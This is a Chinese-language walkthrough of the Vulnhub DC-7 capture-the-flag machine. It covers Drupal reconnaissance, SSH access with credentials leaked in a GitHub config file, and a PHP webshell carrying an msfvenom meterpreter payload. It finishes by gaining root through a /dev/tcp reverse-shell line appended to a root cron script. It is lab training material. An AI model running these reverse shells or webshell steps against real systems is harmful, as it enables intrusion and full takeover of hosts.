工具及漏洞信息#
- netdiscover
- nmap
- dirb
- dirsearch
- gobuster
- droopescan
- 計劃任務提權
** 部分工具的用法和詳細說明請參考此系列的第一篇文章:bossplayersCTF:1-Vulnhub 逐步指南 **
0x00 信息收集#
掃描靶機信息#
netdiscover的-r參數掃描192.168.1.0/16結果如下:

nmap掃描主機及端口信息:
nmap -sS -A -n -T4 -p- 192.168.1.8

robots.txt沒有什麼可利用的,首頁最下面寫著Powered by Drupal
掃描路徑#
dirb掃描路徑:
dirb http://192.168.1.8

dirsearch
python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8

gobuster
gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt

0x01 漏洞掃描#
一圈目錄下來,都沒什麼特別的,user/login界面也沒有弱密碼:

而且後台限制了 5 次登錄失敗會被暫時鎖定,只能從網站框架和模板入手了
Github上針對Drupal的漏掃工具有droopescan和drupwn
但是後者不好用就不做介紹了
git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.9/ -t 32

而漏洞庫不包含掃描出來的版本:

cms本身漏洞無法利用,那我們就解決作者本身吧::quyin:OK::
0x01 獲得普通帳號#
首頁的底部除了Powered by Drupal
還有作者的名字@DC7USER,搜了一下發現是twitter帳號:

並且在首頁放著一個大大的github鏈接,作者只有一個倉庫staffdb
config.php裡明晃晃地寫著帳號密碼和數據庫名字:

$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
於是用ssh登錄進去:ssh dc7user@192.168.1.9,獲得了dc7user的shell:

0x02 獲取 shell#
獲取到shell第一步當然是查看當前目錄有什麼文件:

mbox很顯眼,查看一下:

郵件內容應該是備份的日誌,調用的腳本是/opt/scripts/backups.sh
貌似還是root權限執行的。如果當前用戶有腳本的寫入權限,那麼應該就可以提權了。
查了一下www-data和root用戶才能修改,內容是用來管理Drupal站點的shell

其中有一句話引起了我的注意:
drush sql-dump --result-file=/home/dc7user/backups/website.sql
查了一下,這個drush命令是可以用來修改密碼的:
drush user-password USERNAME --password="SOMEPASSWORD"
於是嘗試修改admin的密碼,需要到某些指定目錄例如/var/www/html才能修改:

獲得管理員賬戶之後我們登錄網站來反彈shell

出於安全考量,PHP Filter已經從Drupal核心中移除
後續作為一個module存在,可以通過手動下載安裝:

打開網站的模塊安裝界面/admin/modules:


搜索模塊php,選中我們剛才安裝的PHP,點擊install啟動模塊:

模塊安裝好後就可以開始利用漏洞了,在Content中新建一個Basic page,
然後在Title輸入頁面的名稱webshell,在Body中放入反彈shell的PHP代碼
我這裡使用msfvenom生成的php shell:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f raw
Text format的位置選擇PHP code:

弄完之後,先別操作,在kali上監聽端口
msfconsole
handler -H 192.168.1.2 -P 3333 -p php/meterpreter/reverse_tcp

最後點擊Preview按鈕,第一次可能不會成功,退出Preview再來一次即可:

獲取到的shell為www-root用戶的:

0x03 backups.sh 提權 root#
之前郵件裡的備份計劃任務使用的腳本/opt/scripts/backups.sh只有root和www-data用戶可以修改。
所以接下來就是將反彈shell的代碼附加到backups.sh腳本中
(因為計劃任務是root權限執行的,反彈回來的shell也會是root用戶)
然後在kali中監聽相應端口,等待計劃任務的執行:
使用shell進入命令行
使用/bin/bash:python -c 'import pty;pty.spawn("/bin/bash")'
cd /opt/scripts/
在另外的終端監聽指定端口:nc -lvp 3456
將反彈shell代碼寫進backups.sh:echo "0<&198-;exec 198<>/dev/tcp/192.168.1.2/3456;sh <&198 >&198 2>&198" >> backups.sh

等待靶機執行定時任務就可以獲得root的shell:

成功獲得flag:

本文完。
參考文章: